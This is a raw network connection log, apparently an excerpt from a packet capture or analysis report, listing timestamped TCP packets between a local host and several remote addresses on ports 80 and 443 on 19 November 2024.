Nov 19, 2024 01:01:44.917217016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917244911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917274952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917279959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917330980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917337894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917375088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917386055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917386055 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917409897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917421103 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917444944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917485952 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917494059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917512894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917529106 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917568922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917572975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917572975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917603970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917613029 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917640924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917644024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917700052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917707920 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917743921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917754889 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917779922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917783976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917820930 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917829990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917865038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917884111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917901039 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917913914 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917927027 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917948008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917953968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.917984009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.917989016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918020010 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918045044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918056011 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918060064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918092012 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918092966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918128967 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918133974 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918164015 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918169975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918200016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918205976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918235064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918270111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918276072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918309927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918318987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918354034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918359041 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918390036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918396950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918427944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918431044 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918463945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918469906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918499947 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918508053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918519020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918545008 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.918565035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:44.918625116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:44.964867115 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:44.965159893 CET	49942	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:44.965178013 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:44.966267109 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:44.966331005 CET	49942	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:44.967627048 CET	49942	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:44.967695951 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:44.967818022 CET	49942	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:44.967824936 CET	443	49942	13.249.205.106	192.168.2.6
Nov 19, 2024 01:01:44.976164103 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.976187944 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.976234913 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.976253033 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.976281881 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.976298094 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.978178024 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.978194952 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.978240013 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.978246927 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.978281975 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.978301048 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.979274035 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.979290009 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.979350090 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.979356050 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:44.979383945 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.979403019 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:44.980194092 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.980829954 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.980843067 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.981445074 CET	49937	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.981448889 CET	443	49937	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.995074034 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.995563984 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.995641947 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.996185064 CET	49936	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.996200085 CET	443	49936	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.998429060 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.998816967 CET	49935	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.998837948 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:44.999449015 CET	49935	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:44.999454021 CET	443	49935	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.002099037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002120972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002131939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002142906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002155066 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002166033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002203941 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002228975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002238035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002249002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002259970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002274036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002285004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002289057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002295971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002307892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002317905 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002342939 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002356052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002840042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002851009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002861977 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002871990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002882957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002893925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002896070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002907038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002918005 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002928019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002933025 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002939939 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002952099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002953053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002964020 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002974033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.002984047 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.002996922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003001928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003009081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003020048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003027916 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003031969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003041983 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003046036 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003057957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003068924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003071070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003088951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003097057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003101110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003112078 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003113985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003124952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003137112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003143072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003149033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003160954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003171921 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003175020 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003184080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003195047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003216028 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003237009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003241062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003249884 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003259897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003271103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003288031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003288984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003299952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003310919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003318071 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003324986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003334045 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003345966 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003356934 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003371000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003387928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003396034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003401041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003412962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003422022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003432989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003442049 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003444910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003457069 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003457069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003473043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003473043 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003488064 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003499031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003500938 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003509998 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003521919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003528118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003532887 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003547907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003562927 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003585100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003618002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003628969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003640890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003650904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003664017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003667116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003675938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003689051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003696918 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003700018 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003715038 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003736019 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003762007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003767967 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003774881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003787041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003798008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003802061 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003809929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003823042 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003833055 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003844023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003844976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003855944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003866911 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003873110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003880024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003880024 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003887892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003900051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003911972 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003914118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.003942013 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.003956079 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004226923 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004298925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004435062 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004452944 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004462957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004475117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004486084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004497051 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004497051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004509926 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004523039 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004527092 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004534006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004545927 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004549026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004556894 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004560947 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004569054 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004580021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004591942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004604101 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004609108 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004621029 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004631996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004647017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004651070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004657984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004668951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004672050 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004681110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004693031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004703045 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004703999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004715919 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004728079 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004733086 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004740000 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004740953 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004760981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004776001 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004781961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004792929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004803896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004817963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004825115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004828930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004839897 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004851103 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004861116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004863977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004872084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004883051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004894972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004904985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004911900 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004915953 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004928112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004928112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004940987 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004951954 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004960060 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.004964113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004976988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004992008 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.004992962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.005024910 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.005050898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.010308981 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.011639118 CET	443	49939	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.016583920 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.016623020 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.017076015 CET	49938	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.017087936 CET	443	49938	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.017863035 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.017880917 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.017923117 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.017934084 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.017966032 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.017990112 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.037151098 CET	49939	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.037166119 CET	443	49939	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.038002968 CET	49939	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:45.038007021 CET	443	49939	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:45.066380978 CET	49942	443	192.168.2.6	13.249.205.106
Nov 19, 2024 01:01:45.082412958 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:45.087306976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:45.114989996 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.115014076 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.115122080 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.115144014 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.115502119 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.115523100 CET	443	49928	13.107.246.57	192.168.2.6
Nov 19, 2024 01:01:45.115572929 CET	49928	443	192.168.2.6	13.107.246.57
Nov 19, 2024 01:01:45.115581036 CET	443	49928	13.107.246.57	192.168.2.6
